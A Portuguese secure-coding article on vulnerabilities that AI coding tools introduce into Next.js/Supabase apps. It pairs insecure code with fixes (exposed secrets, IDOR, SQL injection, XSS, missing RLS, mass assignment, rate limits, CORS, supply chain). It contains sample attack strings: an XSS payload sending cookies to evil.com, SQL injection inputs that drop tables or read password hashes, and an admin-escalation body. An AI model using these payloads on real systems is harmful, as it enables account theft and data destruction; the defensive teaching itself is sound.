"A IA não erra por maldade. Erra por padrão. E o padrão dela é funcionalidade — não segurança."

// lib/supabase.ts
import { createClient } from '@supabase/supabase-js'
const supabaseUrl = process.env.NEXT_PUBLIC_SUPABASE_URL!
const supabaseKey = process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY!
export const supabase = createClient(supabaseUrl, supabaseKey).env.local e hardcoda o valor:// lib/supabase.ts
const supabase = createClient(
'https://xyzproject.supabase.co',
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6...'
)// components/Pricing.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY!)NEXT_PUBLIC_ é incluída no bundle JavaScript que o navegador do usuário baixa. Qualquer pessoa pode abrir o DevTools, ir na aba Sources, e procurar por strings como eyJ (início de JWT base64), sk_live_ (Stripe secret key), ou service_role.secret_key permite criar cobranças, acessar dados de clientes, modificar assinaturas e emitir reembolsos. Quando o secret está hardcoded (segundo exemplo), o risco é duplo: além da exposição no frontend, o valor vai para o repositório git. Bots automatizados escaneiam repositórios públicos no GitHub em tempo real. Pesquisadores já demonstraram que um secret pushado para um repo público é detectado em menos de 30 segundos.supabase no JavaScript → encontra a service_role key → usa o Supabase client com essa chave para ler todas as tabelas → baixa todos os dados de todos os usuários.// lib/supabase-client.ts — CLIENT (browser)
import { createBrowserClient } from '@supabase/ssr'
export const supabase = createBrowserClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY! // anon key — segura para o frontend
)// lib/supabase-server.ts — SERVER ONLY
import { createServerClient } from '@supabase/ssr'
import { cookies } from 'next/headers'
import 'server-only' // impede importação no client
export async function createSupabaseServer() {
const cookieStore = await cookies()
return createServerClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.SUPABASE_SERVICE_ROLE_KEY!, // SEM prefixo NEXT_PUBLIC_
{
cookies: {
getAll: () => cookieStore.getAll(),
setAll: (cookies) =>
cookies.forEach(({ name, value, options }) =>
cookieStore.set(name, value, options)
),
},
}
)
}// lib/env.ts — Validação de variáveis de ambiente
import { z } from 'zod'
const envSchema = z.object({
NEXT_PUBLIC_SUPABASE_URL: z.string().url(),
NEXT_PUBLIC_SUPABASE_ANON_KEY: z.string().min(1),
SUPABASE_SERVICE_ROLE_KEY: z.string().min(1),
STRIPE_SECRET_KEY: z.string().startsWith('sk_'),
STRIPE_WEBHOOK_SECRET: z.string().startsWith('whsec_'),
})
export const env = envSchema.parse(process.env)NEXT_PUBLIC_ apenas para a SUPABASE_URL e a ANON_KEY. Toda outra chave fica sem o prefixo — invisível para o browser.import 'server-only' no topo do arquivo server garante um erro de build se alguém tentar importar no client.NEXT_PUBLIC_ (exceto SUPABASE_URL e SUPABASE_ANON_KEY).env para dentro do códigoimport 'server-only' em módulos que acessam secrets// app/api/invoices/[id]/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { supabase } from '@/lib/supabase'
export async function GET(
request: NextRequest,
{ params }: { params: { id: string } }
) {
const { data, error } = await supabase
.from('invoices')
.select('*')
.eq('id', params.id)
.single()
if (error) return NextResponse.json({ error: error.message }, { status: 500 })
return NextResponse.json(data)
}/api/invoices/15 e vê sua invoice. Depois testa /api/invoices/14 — e vê a invoice do Usuário B. Repete de 1 a 1000 e baixa todas as invoices de todos os clientes. Dados financeiros, nomes, endereços, tudo exposto.// app/api/invoices/[id]/route.ts
import { NextRequest, NextResponse } from 'next/server'
import { createSupabaseServer } from '@/lib/supabase-server'
export async function GET(
request: NextRequest,
{ params }: { params: { id: string } }
) {
const supabase = await createSupabaseServer()
// SECURITY: Verificar sessão
const { data: { user }, error: authError } = await supabase.auth.getUser()
if (authError || !user) {
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
}
// SECURITY: Buscar invoice E verificar ownership na mesma query
const { data, error } = await supabase
.from('invoices')
.select('*')
.eq('id', params.id)
.eq('user_id', user.id) // ownership check
.single()
if (error || !data) {
return NextResponse.json({ error: 'Not found' }, { status: 404 })
}
return NextResponse.json(data)
}.eq('user_id', user.id) na query — o banco só retorna a invoice se ela pertencer ao usuário..eq('user_id', user.id) ou equivalente// app/api/products/search/route.ts
export async function GET(request: NextRequest) {
const query = request.nextUrl.searchParams.get('q') || ''
const { data, error } = await supabase
.rpc('search_products', { search_term: query })
return NextResponse.json(data)
}-- VULNERÁVEL: usa EXECUTE com concatenação direta
CREATE OR REPLACE FUNCTION search_products(search_term TEXT)
RETURNS SETOF products AS $$
BEGIN
RETURN QUERY EXECUTE
'SELECT * FROM products WHERE name ILIKE ''%' || search_term || '%''';
END;
$$ LANGUAGE plpgsql;// Prisma raw query — VULNERÁVEL
const results = await prisma.$queryRawUnsafe(
`SELECT * FROM products WHERE name ILIKE '%${query}%'`
)EXECUTE com concatenação direta do search_term. Um atacante pode enviar como parâmetro de busca:%'; DROP TABLE products; --SELECT * FROM products WHERE name ILIKE '%%'; DROP TABLE products; --%'DROP TABLE que destrói a tabela inteira. Injeções mais sofisticadas não destroem dados — extraem. Um atacante pode usar UNION SELECT para ler dados de outras tabelas, incluindo credenciais, tokens e informações pessoais.q na URL /api/products/search?q='; SELECT email, password_hash FROM auth.users; -- e recebe os dados de autenticação de todos os usuários.-- Função RPC segura com parameterized query
CREATE OR REPLACE FUNCTION search_products(search_term TEXT)
RETURNS SETOF products AS $$
BEGIN
RETURN QUERY
SELECT * FROM products WHERE name ILIKE '%' || search_term || '%';
END;
$$ LANGUAGE plpgsql;EXECUTE, o PostgreSQL trata search_term como um valor, não como parte do SQL. Não há possibilidade de injeção. Para a API route, adicione validação:// app/api/products/search/route.ts
import { z } from 'zod'
const searchSchema = z.object({
q: z.string().min(1).max(100).trim(),
})
export async function GET(request: NextRequest) {
const parsed = searchSchema.safeParse({
q: request.nextUrl.searchParams.get('q'),
})
if (!parsed.success) {
return NextResponse.json({ error: 'Invalid search query' }, { status: 400 })
}
const supabase = await createSupabaseServer()
const { data, error } = await supabase
.from('products')
.select('id, name, price, image_url')
.ilike('name', `%${parsed.data.q}%`)
.limit(20)
return NextResponse.json(data)
}// Prisma seguro
const results = await prisma.$queryRaw`
SELECT * FROM products WHERE name ILIKE ${'%' + query + '%'}
`
// Ou melhor ainda, use o query builder:
const results = await prisma.product.findMany({
where: { name: { contains: query, mode: 'insensitive' } },
take: 20,
})$queryRawUnsafe do Prisma ou EXECUTE com concatenação no PostgreSQL.limit() para evitar data dumpingSELECT *)// components/BlogPost.tsx
export function BlogPost({ post }: { post: Post }) {
return (
<article>
<h1>{post.title}</h1>
<div dangerouslySetInnerHTML={{ __html: post.content }} />
<p dangerouslySetInnerHTML={{ __html: post.authorBio }} />
</article>
)
}// components/Comment.tsx
export function Comment({ comment }: { comment: Comment }) {
return (
<div>
<strong>{comment.userName}</strong>
<div dangerouslySetInnerHTML={{ __html: comment.body }} />
</div>
)
}dangerouslySetInnerHTML existe no React por um motivo — e o nome não é por acaso. Ele renderiza HTML bruto no DOM sem nenhuma sanitização. Se o conteúdo vem de um input de usuário (comentário, bio, post), um atacante pode injetar JavaScript que será executado no navegador de todos que visualizarem aquele conteúdo.<img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)"> — quando renderizado via dangerouslySetInnerHTML — executa o script e envia os cookies de sessão de todos os visitantes para o servidor do atacante.// components/SafeHTML.tsx
import DOMPurify from 'isomorphic-dompurify'
interface SafeHTMLProps {
html: string
className?: string
}
export function SafeHTML({ html, className }: SafeHTMLProps) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
'ul', 'ol', 'li', 'h2', 'h3', 'blockquote', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
})
return <div className={className} dangerouslySetInnerHTML={{ __html: clean }} />
}// components/BlogPost.tsx — SEGURO
import { SafeHTML } from '@/components/SafeHTML'
export function BlogPost({ post }: { post: Post }) {
return (
<article>
<h1>{post.title}</h1>
<SafeHTML html={post.content} />
</article>
)
}// components/Comment.tsx — SEGURO (sem HTML, apenas texto)
export function Comment({ comment }: { comment: Comment }) {
return (
<div>
<strong>{comment.userName}</strong>
<p>{comment.body}</p> {/* React escapa automaticamente */}
</div>
)
}{}. Use {comment.body} direto, sem dangerouslySetInnerHTML. Reserve o HTML renderizado apenas para conteúdo rico (blog posts, documentos) que realmente precisa de formatação.dangerouslySetInnerHTML sem sanitização com DOMPurifySafeHTML) com whitelist de tags permitidas// app/api/auth/login/route.ts — INSEGURO
export async function POST(request: NextRequest) {
const { email, password } = await request.json()
const { data, error } = await supabase.auth.signInWithPassword({ email, password })
if (error) {
return NextResponse.json({ error: error.message }, { status: 401 })
}
return NextResponse.json({
token: data.session?.access_token,
refresh_token: data.session?.refresh_token,
user: data.user
})
}// lib/auth.ts — INSEGURO
export async function login(email: string, password: string) {
const res = await fetch('/api/auth/login', { method: 'POST', body: JSON.stringify({ email, password }) })
const data = await res.json()
localStorage.setItem('access_token', data.token)
localStorage.setItem('refresh_token', data.refresh_token)
return data.user
}// middleware.ts — INCOMPLETO
export function middleware(request: NextRequest) {
// Verifica apenas se o token existe, não se é válido
const token = request.cookies.get('token')
if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}access_token, o atacante faz requisições como se fosse o usuário. Com o refresh_token, o atacante mantém acesso permanente.token existe, mas não valida se é um JWT legítimo, se não expirou, se não foi revogado. Um cookie com qualquer valor — token=123 — passa pela verificação.error.message do Supabase pode revelar se um email está cadastrado ("User not found" vs "Invalid password"), permitindo enumeração de contas.// lib/supabase-middleware.ts
export async function updateSession(request: NextRequest) {
let response = NextResponse.next({ request })
const supabase = createServerClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
{
cookies: {
getAll: () => request.cookies.getAll(),
setAll: (cookiesToSet) => {
cookiesToSet.forEach(({ name, value, options }) => {
response.cookies.set(name, value, {
...options,
httpOnly: true, // JS não pode ler
secure: true, // Apenas HTTPS
sameSite: 'lax', // Anti-CSRF
})
})
},
},
}
)
// SECURITY: Valida o token real, não apenas a existência do cookie
const { data: { user } } = await supabase.auth.getUser()
if (!user && request.nextUrl.pathname.startsWith('/dashboard')) {
return NextResponse.redirect(new URL('/login', request.url))
}
return response
}// app/api/auth/login/route.ts — SEGURO
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(5, '1 m'), // 5 tentativas por minuto
})
export async function POST(request: NextRequest) {
// SECURITY: Rate limiting por IP
const ip = request.headers.get('x-forwarded-for') ?? 'unknown'
const { success } = await ratelimit.limit(ip)
if (!success) {
return NextResponse.json({ error: 'Too many attempts. Try again later.' }, { status: 429 })
}
const { data, error } = await supabase.auth.signInWithPassword({
email: parsed.data.email,
password: parsed.data.password,
})
if (error) {
// SECURITY: Mensagem genérica — não revela se o email existe
return NextResponse.json({ error: 'Invalid credentials' }, { status: 401 })
}
// Sessão gerenciada via cookies httpOnly pelo Supabase SSR — nada no localStorage
return NextResponse.json({ user: { id: data.user.id, email: data.user.email } })
}auth.getUser()), não apenas a existência do cookiehttpOnly: true, secure: true, sameSite: 'lax'-- migrations/001_initial.sql — SEM RLS
CREATE TABLE profiles (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
email TEXT NOT NULL,
full_name TEXT,
avatar_url TEXT,
created_at TIMESTAMPTZ DEFAULT now()
);
CREATE TABLE projects (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
name TEXT NOT NULL,
description TEXT,
owner_id UUID REFERENCES profiles(id),
created_at TIMESTAMPTZ DEFAULT now()
);
CREATE TABLE tasks (
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
title TEXT NOT NULL,
status TEXT DEFAULT 'todo',
project_id UUID REFERENCES projects(id),
assigned_to UUID REFERENCES profiles(id),
created_at TIMESTAMPTZ DEFAULT now()
);ALTER TABLE tasks ENABLE ROW LEVEL SECURITY;
CREATE POLICY "Allow all" ON tasks
FOR ALL USING (true) WITH CHECK (true);// Qualquer visitante pode fazer isso no console do navegador
const { data } = await supabase.from('profiles').select('*')
// Retorna TODOS os perfis de TODOS os usuários
const { data: tasks } = await supabase.from('tasks').select('*')
// Retorna TODAS as tarefas de TODOS os projetosUSING (true), o RLS está tecnicamente habilitado, mas a policy permite tudo para todos. É o equivalente a trancar a porta e colar a chave do lado de fora.select('*') em cada tabela → baixa todos os dados do SaaS inteiro. Sem ferramentas especiais, sem exploit complexo. Três linhas de JavaScript.-- migrations/001_initial.sql — SEGURO
CREATE TABLE profiles (
id UUID PRIMARY KEY REFERENCES auth.users(id) ON DELETE CASCADE,
email TEXT NOT NULL,
full_name TEXT,
avatar_url TEXT,
created_at TIMESTAMPTZ DEFAULT now()
);
ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;
-- Usuário só vê seu próprio perfil
CREATE POLICY "Users can view own profile" ON profiles
FOR SELECT USING (auth.uid() = id);
-- Usuário só edita seu próprio perfil
CREATE POLICY "Users can update own profile" ON profiles
FOR UPDATE USING (auth.uid() = id) WITH CHECK (auth.uid() = id);
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;
-- Dono vê seus projetos
CREATE POLICY "Owners can view own projects" ON projects
FOR SELECT USING (auth.uid() = owner_id);
-- Dono pode criar projetos (owner_id setado automaticamente)
CREATE POLICY "Users can create projects" ON projects
FOR INSERT WITH CHECK (auth.uid() = owner_id);
ALTER TABLE tasks ENABLE ROW LEVEL SECURITY;
-- Usuário vê tasks dos projetos que ele possui
CREATE POLICY "Users can view tasks of own projects" ON tasks
FOR SELECT USING (
EXISTS (
SELECT 1 FROM projects
WHERE projects.id = tasks.project_id
AND projects.owner_id = auth.uid()
)
);ALTER TABLE x ENABLE ROW LEVEL SECURITYUSING (true) ou WITH CHECK (true) sem justificativa documentadaauth.uid() para verificar ownership nas policiesEXISTS com subquery na tabela pai// app/api/profile/route.ts — INSEGURO
export async function PUT(request: NextRequest) {
const body = await request.json()
const userId = body.userId
const { data, error } = await supabase
.from('profiles')
.update(body) // ← body inteiro, sem filtro
.eq('id', userId)
.select()
.single()
if (error) return NextResponse.json({ error: error.message }, { status: 500 })
return NextResponse.json(data)
}profiles tem campos como role, subscription_tier, is_admin, ou credits, o atacante pode enviar:{
"userId": "meu-id",
"full_name": "Nome Normal",
"role": "admin",
"subscription_tier": "enterprise",
"credits": 999999
}body diretamente para .update() é uma linha de código. Filtrar campos específicos requer mais linhas. A IA otimiza por brevidade.role: "admin" → ganha acesso administrativo → lê e modifica dados de todos os usuários.// app/api/profile/route.ts — SEGURO
import { z } from 'zod'
// SECURITY: Schema define EXATAMENTE quais campos são aceitos
const updateProfileSchema = z.object({
full_name: z.string().min(1).max(100).optional(),
avatar_url: z.string().url().optional(),
bio: z.string().max(500).optional(),
})
export async function PUT(request: NextRequest) {
const supabase = await createSupabaseServer()
// SECURITY: Verificar sessão
const { data: { user }, error: authError } = await supabase.auth.getUser()
if (authError || !user) {
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
}
// SECURITY: Validar e filtrar input
const body = await request.json()
const parsed = updateProfileSchema.safeParse(body)
if (!parsed.success) {
return NextResponse.json({ error: 'Invalid data' }, { status: 400 })
}
// SECURITY: Apenas campos validados são enviados ao banco
// SECURITY: user.id vem da sessão, não do request body
const { data, error } = await supabase
.from('profiles')
.update(parsed.data)
.eq('id', user.id)
.select('id, full_name, avatar_url, bio')
.single()
return NextResponse.json(data)
}role, is_admin, credits são ignorados.user.id vem da sessão autenticada, não do body — o atacante não pode alterar o perfil de outro usuário..select() filtra os campos retornados — não vaza colunas internas.req.body ou request.json() diretamente para .update() ou .insert()auth.getUser()), nunca do request body.select() explícitorole, is_admin, subscription, credits NUNCA devem ser aceitos via API pública// app/api/auth/forgot-password/route.ts — SEM RATE LIMIT
export async function POST(request: NextRequest) {
const { email } = await request.json()
await supabase.auth.resetPasswordForEmail(email, {
redirectTo: `${process.env.NEXT_PUBLIC_URL}/auth/reset`,
})
return NextResponse.json({ message: 'Check your email' })
}// app/api/contact/route.ts — SEM RATE LIMIT
export async function POST(request: NextRequest) {
const { name, email, message } = await request.json()
await sendEmail({ to: 'admin@example.com', subject: `Contact: ${name}`, body: message })
return NextResponse.json({ success: true })
}// lib/rate-limit.ts
import { Ratelimit } from '@upstash/ratelimit'
import { Redis } from '@upstash/redis'
// Rate limiters com diferentes limites por contexto
export const authLimiter = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(5, '1 m'), // 5 req/min para auth
prefix: 'rl:auth',
})
export const apiLimiter = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(30, '1 m'), // 30 req/min para APIs
prefix: 'rl:api',
})
export const contactLimiter = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(3, '1 h'), // 3 req/hora para contato
prefix: 'rl:contact',
})// lib/with-rate-limit.ts — Helper reutilizável
export async function withRateLimit(
request: NextRequest,
limiter: Ratelimit
): Promise<NextResponse | null> {
const ip = request.headers.get('x-forwarded-for') ?? 'unknown'
const { success, remaining, reset } = await limiter.limit(ip)
if (!success) {
return NextResponse.json(
{ error: 'Too many requests. Try again later.' },
{
status: 429,
headers: {
'X-RateLimit-Remaining': remaining.toString(),
'X-RateLimit-Reset': reset.toString(),
'Retry-After': Math.ceil((reset - Date.now()) / 1000).toString(),
}
}
)
}
return null // sem bloqueio, prosseguir
}// app/api/auth/forgot-password/route.ts — SEGURO
export async function POST(request: NextRequest) {
// SECURITY: Rate limiting
const blocked = await withRateLimit(request, authLimiter)
if (blocked) return blocked
// SECURITY: Resposta idêntica para email existente ou não
return NextResponse.json({ message: 'If an account exists, check your email.' })
}X-RateLimit-Remaining, Retry-After)next.config.js funcional, mas sem nenhuma configuração de segurança:// next.config.js — SEM HEADERS DE SEGURANÇA
/** @type {import('next').NextConfig} */
const nextConfig = {
images: {
domains: ['your-project.supabase.co'],
},
}
module.exports = nextConfig// CORS permissivo — INSEGURO
return NextResponse.json(data, {
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': '*',
'Access-Control-Allow-Headers': '*',
},
})frame-ancestors no CSP, o site pode ser carregado dentro de um iframe em um site malicioso — o atacante cria uma página que sobrepõe botões invisíveis sobre o iframe do seu site, fazendo o usuário clicar em ações sem perceber. Isso se chama clickjacking.Access-Control-Allow-Origin: *) significa que qualquer site da internet pode fazer requisições à sua API. Se o usuário está logado no seu SaaS e visita um site malicioso, esse site pode usar o fetch para chamar suas APIs usando os cookies do usuário — lendo e modificando dados.fetch('https://seu-saas.com/api/user/data', { credentials: 'include' }) → a API responde com os dados do usuário porque o CORS permite qualquer origem e os cookies são enviados automaticamente.// next.config.js — SEGURO
const nextConfig = {
images: {
remotePatterns: [{ protocol: 'https', hostname: '*.supabase.co' }],
},
async headers() {
return [
{
source: '/(.*)',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
{ key: 'X-DNS-Prefetch-Control', value: 'off' },
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-eval' 'unsafe-inline' https://js.stripe.com",
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"font-src 'self' https://fonts.gstatic.com",
"img-src 'self' https://*.supabase.co data: blob:",
"connect-src 'self' https://*.supabase.co https://api.stripe.com",
"frame-src https://js.stripe.com",
"object-src 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; ')
},
],
},
]
},
}
module.exports = nextConfig// lib/cors.ts
const ALLOWED_ORIGINS = [
'https://seudominio.com.br',
'https://app.seudominio.com.br',
]
export function getCorsHeaders(request: NextRequest) {
const origin = request.headers.get('origin')
const isAllowed = origin && ALLOWED_ORIGINS.includes(origin)
return {
'Access-Control-Allow-Origin': isAllowed ? origin : '',
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
'Access-Control-Allow-Headers': 'Content-Type, Authorization',
'Access-Control-Max-Age': '86400',
}
}next.config.js (CSP, HSTS, X-Frame-Options, etc.)Access-Control-Allow-Origin: * — sempre especifique domínios permitidosnpm install express-validator # OK — pacote legítimo
npm install mongo-sanitize # Problema — pacote abandonado, 7 anos sem update
npm install react-markdown-it # Problema — nome similar ao legítimo (react-markdown)
npm install lodash.get # Problema — micro-pacote desnecessário, target de supply chain.gitignore gerado frequentemente exclui o lockfile:# .gitignore gerado pela IA
node_modules/
.env
.env.local
package-lock.json # ← ERRADO: lockfile deveria ser commitadonpm install, o malware é instalado no seu projeto. Demonstrado em escala em 2024.package-lock.json commitado, cada npm install em um novo ambiente resolve as versões novamente. Se uma dependência publicou uma versão maliciosa entre o seu último install e o deploy, o ambiente de produção instala a versão comprometida.postinstall: Pacotes podem executar código arbitrário no momento da instalação. Um pacote malicioso com script postinstall pode ler seu .env, suas SSH keys, ou instalar uma backdoor no seu ambiente de desenvolvimento.npm install colors → dev instala sem verificar → o pacote colors (versão 1.4.1+) foi sabotado pelo próprio autor em janeiro de 2022, adicionando um loop infinito que crashava qualquer aplicação que o importasse.# 1. Audite as dependências atuais
npm audit
# 2. Corrija vulnerabilidades automáticas
npm audit fix
# 3. Para vulnerabilidades que precisam de major version bump
npm audit fix --force # CUIDADO: pode quebrar compatibilidade
# 4. Verifique pacotes suspeitos com Socket.dev
npx socket optimize
# 5. Verifique o lockfile está commitado
git add package-lock.json// package.json — adicione scripts de segurança
{
"scripts": {
"preinstall": "npx only-allow npm",
"audit": "npm audit --audit-level=high",
"audit:fix": "npm audit fix",
"deps:check": "npx depcheck",
"deps:outdated": "npm outdated"
}
}# .github/workflows/security.yml — CI/CD check
name: Security Audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: '20' }
- run: npm ci
- run: npm audit --audit-level=high# .gitignore — CORRETO
node_modules/
.env
.env.local
.env.production
# NÃO inclua package-lock.json aqui — ele DEVE ser commitadopackage-lock.json no repositórionpm audit antes do deploynpx socket optimize para detectar riscos de supply chainnpm audit --audit-level=high como step obrigatório